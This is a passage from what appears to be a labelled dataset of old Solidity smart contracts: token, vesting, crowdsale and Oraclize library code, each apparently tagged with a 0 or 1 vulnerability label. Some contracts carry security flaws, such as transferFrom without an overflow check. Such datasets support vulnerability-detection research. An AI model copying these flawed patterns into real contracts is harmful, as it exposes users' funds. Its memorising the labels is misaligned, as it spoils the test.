require(c >= a, "SafeMath add failed");
return c;
}
} | 1 | 4,642 |
pragma solidity ^0.4.16;
contract ERC20token{
uint256 public totalSupply;
string public name;
uint8 public decimals;
string public symbol;
address public admin;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
mapping (address => bool) public frozenAccount;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function ERC20token(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) public {
totalSupply = _initialAmount * 10 ** uint256(_decimalUnits);
balances[msg.sender] = totalSupply;
admin = msg.sender;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!frozenAccount[msg.sender]);
require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]);
require(_to != 0x0);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!frozenAccount[msg.sender]);
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function freeze(address _target,bool _freeze) public returns (bool) {
require(msg.sender == admin);
frozenAccount[_target] = _freeze;
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success)
{
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 4,754 |
pragma solidity 0.4.24;
contract ERC20TokenInterface {
function totalSupply () external constant returns (uint);
function balanceOf (address tokenOwner) external constant returns (uint balance);
function transfer (address to, uint tokens) external returns (bool success);
function transferFrom (address from, address to, uint tokens) external returns (bool success);
}
library SafeMath {
function mul (uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div (uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub (uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add (uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
contract DreamTokensVesting {
using SafeMath for uint256;
ERC20TokenInterface public dreamToken;
address public withdrawAddress;
struct VestingStage {
uint256 date;
uint256 tokensUnlockedPercentage;
}
VestingStage[5] public stages;
uint256 public vestingStartTimestamp = 1529398800;
uint256 public initialTokensBalance;
uint256 public tokensSent;
event Withdraw(uint256 amount, uint256 timestamp);
modifier onlyWithdrawAddress () {
require(msg.sender == withdrawAddress);
_;
}
constructor (ERC20TokenInterface token, address withdraw) public {
dreamToken = token;
withdrawAddress = withdraw;
initVestingStages();
}
function () external {
withdrawTokens();
}
function getAvailableTokensToWithdraw () public view returns (uint256 tokensToSend) {
uint256 tokensUnlockedPercentage = getTokensUnlockedPercentage();
if (tokensUnlockedPercentage >= 100) {
tokensToSend = dreamToken.balanceOf(this);
} else {
tokensToSend = getTokensAmountAllowedToWithdraw(tokensUnlockedPercentage);
}
}
function getStageAttributes (uint8 index) public view returns (uint256 date, uint256 tokensUnlockedPercentage) {
return (stages[index].date, stages[index].tokensUnlockedPercentage);
}
function initVestingStages () internal {
uint256 halfOfYear = 183 days;
uint256 year = halfOfYear * 2;
stages[0].date = vestingStartTimestamp;
stages[1].date = vestingStartTimestamp + halfOfYear;
stages[2].date = vestingStartTimestamp + year;
stages[3].date = vestingStartTimestamp + year + halfOfYear;
stages[4].date = vestingStartTimestamp + year * 2;
stages[0].tokensUnlockedPercentage = 25;
stages[1].tokensUnlockedPercentage = 50;
stages[2].tokensUnlockedPercentage = 75;
stages[3].tokensUnlockedPercentage = 88;
stages[4].tokensUnlockedPercentage = 100;
}
function withdrawTokens () onlyWithdrawAddress private {
if (initialTokensBalance == 0) {
setInitialTokensBalance();
}
uint256 tokensToSend = getAvailableTokensToWithdraw();
sendTokens(tokensToSend);
}
function setInitialTokensBalance () private {
initialTokensBalance = dreamToken.balanceOf(this);
}
function sendTokens (uint256 tokensToSend) private {
if (tokensToSend > 0) {
tokensSent = tokensSent.add(tokensToSend);
dreamToken.transfer(withdrawAddress, tokensToSend);
emit Withdraw(tokensToSend, now);
}
}
function getTokensAmountAllowedToWithdraw (uint256 tokensUnlockedPercentage) private view returns (uint256) {
uint256 totalTokensAllowedToWithdraw = initialTokensBalance.mul(tokensUnlockedPercentage).div(100);
uint256 unsentTokensAmount = totalTokensAllowedToWithdraw.sub(tokensSent);
return unsentTokensAmount;
}
function getTokensUnlockedPercentage () private view returns (uint256) {
uint256 allowedPercent;
for (uint8 i = 0; i < stages.length; i++) {
if (now >= stages[i].date) {
allowedPercent = stages[i].tokensUnlockedPercentage;
}
}
return allowedPercent;
}
}
contract TeamAndEarlyInvestorsVesting is DreamTokensVesting {
constructor(ERC20TokenInterface token, address withdraw) DreamTokensVesting(token, withdraw) public {}
} | 0 | 815 |
pragma solidity ^0.4.11;
contract ERC20Interface {
uint public totalSupply;
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value)
returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant
returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender,
uint _value);
}
contract Owned {
address public owner;
address public newOwner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
library SafeMath {
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
}
contract OpenANXTokenConfig {
string public constant SYMBOL = "OAX";
string public constant NAME = "openANX Token";
uint8 public constant DECIMALS = 18;
uint public constant DECIMALSFACTOR = 10**uint(DECIMALS);
uint public constant TOKENS_SOFT_CAP = 13000000 * DECIMALSFACTOR;
uint public constant TOKENS_HARD_CAP = 30000000 * DECIMALSFACTOR;
uint public constant TOKENS_TOTAL = 100000000 * DECIMALSFACTOR;
uint public constant START_DATE = 1498136400;
uint public constant END_DATE = 1500728400;
uint public constant LOCKED_1Y_DATE = START_DATE + 365 days;
uint public constant LOCKED_2Y_DATE = START_DATE + 2 * 365 days;
uint public CONTRIBUTIONS_MIN = 0 ether;
uint public CONTRIBUTIONS_MAX = 0 ether;
}
contract LockedTokens is OpenANXTokenConfig {
using SafeMath for uint;
uint public constant TOKENS_LOCKED_1Y_TOTAL = 14000000 * DECIMALSFACTOR;
uint public constant TOKENS_LOCKED_2Y_TOTAL = 26000000 * DECIMALSFACTOR;
address public TRANCHE2_ACCOUNT = 0x813703Eb676f3B6C76dA75cBa0cbC49DdbCA7B37;
uint public totalSupplyLocked1Y;
uint public totalSupplyLocked2Y;
mapping (address => uint) public balancesLocked1Y;
mapping (address => uint) public balancesLocked2Y;
ERC20Interface public tokenContract;
function LockedTokens(address _tokenContract) {
tokenContract = ERC20Interface(_tokenContract);
add1Y(0x4beE088efDBCC610EEEa101ded7204150AF1C8b9,1000000 * DECIMALSFACTOR);
add1Y(0x839551201f866907Eb5017bE79cEB48aDa58650c,925000 * DECIMALSFACTOR);
add1Y(0xa92d4Cd3412862386c234Be572Fe4A8FA4BB09c6,925000 * DECIMALSFACTOR);
add1Y(0xECf2B5fce33007E5669D63de39a4c663e56958dD,925000 * DECIMALSFACTOR);
add1Y(0xD6B7695bc74E2C950eb953316359Eab283C5Bda8,925000 * DECIMALSFACTOR);
add1Y(0xBE3463Eae26398D55a7118683079264BcF3ab24B,150000 * DECIMALSFACTOR);
add1Y(0xf47428Fb9A61c9f3312cB035AEE049FBa76ba62a,150000 * DECIMALSFACTOR);
add1Y(0xfCcc77165D822Ef9004714d829bDC267C743658a,50000 * DECIMALSFACTOR);
add1Y(0xaf8df2aCAec3d5d92dE42a6c19d7706A4F3E8D8b,50000 * DECIMALSFACTOR);
add1Y(0x22a6f9693856374BF2922cd837d07F6670E7FA4d,250000 * DECIMALSFACTOR);
add1Y(0x3F720Ca8FfF598F00a51DE32A8Cb58Ca73f22aDe,50000 * DECIMALSFACTOR);
add1Y(0xBd0D1954B301E414F0b5D0827A69EC5dD559e50B,50000 * DECIMALSFACTOR);
add1Y(0x2ad6B011FEcDE830c9cc4dc0d0b77F055D6b5990,50000 * DECIMALSFACTOR);
add1Y(0x0c5cD0E971cA18a0F0E0d581f4B93FaD31D608B0,2000085 * DECIMALSFACTOR);
add1Y(0xFaaDC4d80Eaf430Ab604337CB67d77eC763D3e23,200248 * DECIMALSFACTOR);
add1Y(0xDAef46f89c264182Cd87Ce93B620B63c7AfB14f7,1616920 * DECIMALSFACTOR);
add1Y(0x19cc59C30cE54706633dC29EdEbAE1efF1757b25,224980 * DECIMALSFACTOR);
add1Y(0xa130fE5D399104CA5AF168fbbBBe19F95d739741,745918 * DECIMALSFACTOR);
add1Y(0xC0cD1bf6F2939095a56B0DFa085Ba2886b84E7d1,745918 * DECIMALSFACTOR);
add1Y(0xf2C26e79eD264B0E3e5A5DFb1Dd91EA61f512C6e,745918 * DECIMALSFACTOR);
add1Y(0x5F876a8A5F1B66fbf3D0D119075b62aF4386e319,745918 * DECIMALSFACTOR);
add1Y(0xb8E046570800Dd76720aF6d42d3cCae451F54f15,745920 * DECIMALSFACTOR);
add1Y(0xA524fa65Aac4647fa7bA2c20D22F64450c351bBd,714286 * DECIMALSFACTOR);
add1Y(0x27209b276C15a936BCE08D7D70f0c97aeb3CE8c3,13889 * DECIMALSFACTOR);
assert(totalSupplyLocked1Y == TOKENS_LOCKED_1Y_TOTAL);
add2Y(0x4beE088efDBCC610EEEa101ded7204150AF1C8b9,1000000 * DECIMALSFACTOR);
add2Y(0x839551201f866907Eb5017bE79cEB48aDa58650c,925000 * DECIMALSFACTOR);
add2Y(0xa92d4Cd3412862386c234Be572Fe4A8FA4BB09c6,925000 * DECIMALSFACTOR);
add2Y(0xECf2B5fce33007E5669D63de39a4c663e56958dD,925000 * DECIMALSFACTOR);
add2Y(0xD6B7695bc74E2C950eb953316359Eab283C5Bda8,925000 * DECIMALSFACTOR);
add2Y(0xBE3463Eae26398D55a7118683079264BcF3ab24B,150000 * DECIMALSFACTOR);
add2Y(0xf47428Fb9A61c9f3312cB035AEE049FBa76ba62a,150000 * DECIMALSFACTOR);
add2Y(0xfCcc77165D822Ef9004714d829bDC267C743658a,50000 * DECIMALSFACTOR);
add2Y(0xDAef46f89c264182Cd87Ce93B620B63c7AfB14f7,500000 * DECIMALSFACTOR);
add2Y(0xaf8df2aCAec3d5d92dE42a6c19d7706A4F3E8D8b,50000 * DECIMALSFACTOR);
add2Y(0x22a6f9693856374BF2922cd837d07F6670E7FA4d,250000 * DECIMALSFACTOR);
add2Y(0x3F720Ca8FfF598F00a51DE32A8Cb58Ca73f22aDe,50000 * DECIMALSFACTOR);
add2Y(0xBd0D1954B301E414F0b5D0827A69EC5dD559e50B,50000 * DECIMALSFACTOR);
add2Y(0x2ad6B011FEcDE830c9cc4dc0d0b77F055D6b5990,50000 * DECIMALSFACTOR);
add2Y(0x990a2D172398007fcbd5078D84696BdD8cCDf7b2,20000000 * DECIMALSFACTOR);
assert(totalSupplyLocked2Y == TOKENS_LOCKED_2Y_TOTAL);
}
function addRemainingTokens() {
require(msg.sender == address(tokenContract));
uint remainingTokens = TOKENS_TOTAL;
remainingTokens = remainingTokens.sub(tokenContract.totalSupply());
remainingTokens = remainingTokens.sub(totalSupplyLocked1Y);
remainingTokens = remainingTokens.sub(totalSupplyLocked2Y);
add1Y(TRANCHE2_ACCOUNT, remainingTokens);
}
function add1Y(address account, uint value) private {
balancesLocked1Y[account] = balancesLocked1Y[account].add(value);
totalSupplyLocked1Y = totalSupplyLocked1Y.add(value);
}
function add2Y(address account, uint value) private {
balancesLocked2Y[account] = balancesLocked2Y[account].add(value);
totalSupplyLocked2Y = totalSupplyLocked2Y.add(value);
}
function balanceOfLocked1Y(address account) constant returns (uint balance) {
return balancesLocked1Y[account];
}
function balanceOfLocked2Y(address account) constant returns (uint balance) {
return balancesLocked2Y[account];
}
function balanceOfLocked(address account) constant returns (uint balance) {
return balancesLocked1Y[account].add(balancesLocked2Y[account]);
}
function totalSupplyLocked() constant returns (uint) {
return totalSupplyLocked1Y + totalSupplyLocked2Y;
}
function unlock1Y() {
require(now >= LOCKED_1Y_DATE);
uint amount = balancesLocked1Y[msg.sender];
require(amount > 0);
balancesLocked1Y[msg.sender] = 0;
totalSupplyLocked1Y = totalSupplyLocked1Y.sub(amount);
if (!tokenContract.transfer(msg.sender, amount)) throw;
}
function unlock2Y() {
require(now >= LOCKED_2Y_DATE);
uint amount = balancesLocked2Y[msg.sender];
require(amount > 0);
balancesLocked2Y[msg.sender] = 0;
totalSupplyLocked2Y = totalSupplyLocked2Y.sub(amount);
if (!tokenContract.transfer(msg.sender, amount)) throw;
}
}
contract ERC20Token is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) allowed;
function ERC20Token(
string _symbol,
string _name,
uint8 _decimals,
uint _totalSupply
) Owned() {
symbol = _symbol;
name = _name;
decimals = _decimals;
totalSupply = _totalSupply;
balances[owner] = _totalSupply;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function transfer(address _to, uint _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]
) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function approve(
address _spender,
uint _amount
) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function transferFrom(
address _from,
address _to,
uint _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]
) {
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function allowance(
address _owner,
address _spender
) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract OpenANXToken is ERC20Token, OpenANXTokenConfig {
bool public finalised = false;
uint public tokensPerKEther = 343734;
LockedTokens public lockedTokens;
address public wallet;
mapping(address => bool) public kycRequired;
function OpenANXToken(address _wallet)
ERC20Token(SYMBOL, NAME, DECIMALS, 0)
{
wallet = _wallet;
lockedTokens = new LockedTokens(this);
require(address(lockedTokens) != 0x0);
}
function setWallet(address _wallet) onlyOwner {
wallet = _wallet;
WalletUpdated(wallet);
}
event WalletUpdated(address newWallet);
function setTokensPerKEther(uint _tokensPerKEther) onlyOwner {
require(now < START_DATE);
require(_tokensPerKEther > 0);
tokensPerKEther = _tokensPerKEther;
TokensPerKEtherUpdated(tokensPerKEther);
}
event TokensPerKEtherUpdated(uint tokensPerKEther);
function () payable {
proxyPayment(msg.sender);
}
function proxyPayment(address participant) payable {
require(!finalised);
require(now >= START_DATE);
require(now <= END_DATE);
require(msg.value >= CONTRIBUTIONS_MIN);
require(CONTRIBUTIONS_MAX == 0 || msg.value < CONTRIBUTIONS_MAX);
uint tokens = msg.value * tokensPerKEther / 10**uint(18 - decimals + 3);
require(totalSupply + tokens <= TOKENS_HARD_CAP);
balances[participant] = balances[participant].add(tokens);
totalSupply = totalSupply.add(tokens);
Transfer(0x0, participant, tokens);
TokensBought(participant, msg.value, this.balance, tokens,
totalSupply, tokensPerKEther);
kycRequired[participant] = true;
if (!wallet.send(msg.value)) throw;
}
event TokensBought(address indexed buyer, uint ethers,
uint newEtherBalance, uint tokens, uint newTotalSupply,
uint tokensPerKEther);
function finalise() onlyOwner {
require(totalSupply >= TOKENS_SOFT_CAP || now > END_DATE);
require(!finalised);
lockedTokens.addRemainingTokens();
balances[address(lockedTokens)] = balances[address(lockedTokens)].
add(lockedTokens.totalSupplyLocked());
totalSupply = totalSupply.add(lockedTokens.totalSupplyLocked());
finalised = true;
}
function addPrecommitment(address participant, uint balance) onlyOwner {
require(now < START_DATE);
require(balance > 0);
balances[participant] = balances[participant].add(balance);
totalSupply = totalSupply.add(balance);
Transfer(0x0, participant, balance);
}
event PrecommitmentAdded(address indexed participant, uint balance);
function transfer(address _to, uint _amount) returns (bool success) {
require(finalised);
require(!kycRequired[msg.sender]);
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint _amount)
returns (bool success)
{
require(finalised);
require(!kycRequired[_from]);
return super.transferFrom(_from, _to, _amount);
}
function kycVerify(address participant) onlyOwner {
kycRequired[participant] = false;
KycVerified(participant);
}
event KycVerified(address indexed participant);
function burnFrom(
address _from,
uint _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][0x0] >= _amount
&& _amount > 0
&& balances[0x0] + _amount > balances[0x0]
) {
balances[_from] = balances[_from].sub(_amount);
allowed[_from][0x0] = allowed[_from][0x0].sub(_amount);
balances[0x0] = balances[0x0].add(_amount);
totalSupply = totalSupply.sub(_amount);
Transfer(_from, 0x0, _amount);
return true;
} else {
return false;
}
}
function balanceOfLocked1Y(address account) constant returns (uint balance) {
return lockedTokens.balanceOfLocked1Y(account);
}
function balanceOfLocked2Y(address account) constant returns (uint balance) {
return lockedTokens.balanceOfLocked2Y(account);
}
function balanceOfLocked(address account) constant returns (uint balance) {
return lockedTokens.balanceOfLocked(account);
}
function totalSupplyLocked1Y() constant returns (uint) {
if (finalised) {
return lockedTokens.totalSupplyLocked1Y();
} else {
return 0;
}
}
function totalSupplyLocked2Y() constant returns (uint) {
if (finalised) {
return lockedTokens.totalSupplyLocked2Y();
} else {
return 0;
}
}
function totalSupplyLocked() constant returns (uint) {
if (finalised) {
return lockedTokens.totalSupplyLocked();
} else {
return 0;
}
}
function totalSupplyUnlocked() constant returns (uint) {
if (finalised && totalSupply >= lockedTokens.totalSupplyLocked()) {
return totalSupply.sub(lockedTokens.totalSupplyLocked());
} else {
return 0;
}
}
function transferAnyERC20Token(address tokenAddress, uint amount)
onlyOwner returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(owner, amount);
}
} | 1 | 3,067 |
pragma solidity ^0.4.11;
interface token {
function transfer(address receiver, uint amount) public;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
bool changePrice = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
event ChangePrice(uint prices);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
address addressOfTokenUsedAsReward
)public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 finney;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 finney;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () public payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function transferToken(uint amount)public afterDeadline {
if (beneficiary == msg.sender)
{
tokenReward.transfer(msg.sender, amount);
FundTransfer(msg.sender, amount, true);
}
}
function safeWithdrawal()public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
function checkPriceCrowdsale(uint newPrice1, uint newPrice2)public {
if (beneficiary == msg.sender) {
price = (newPrice1 * 1 finney)+(newPrice2 * 1 szabo);
ChangePrice(price);
changePrice = true;
}
}
} | 1 | 5,322 |
pragma solidity ^0.4.17;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto);
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
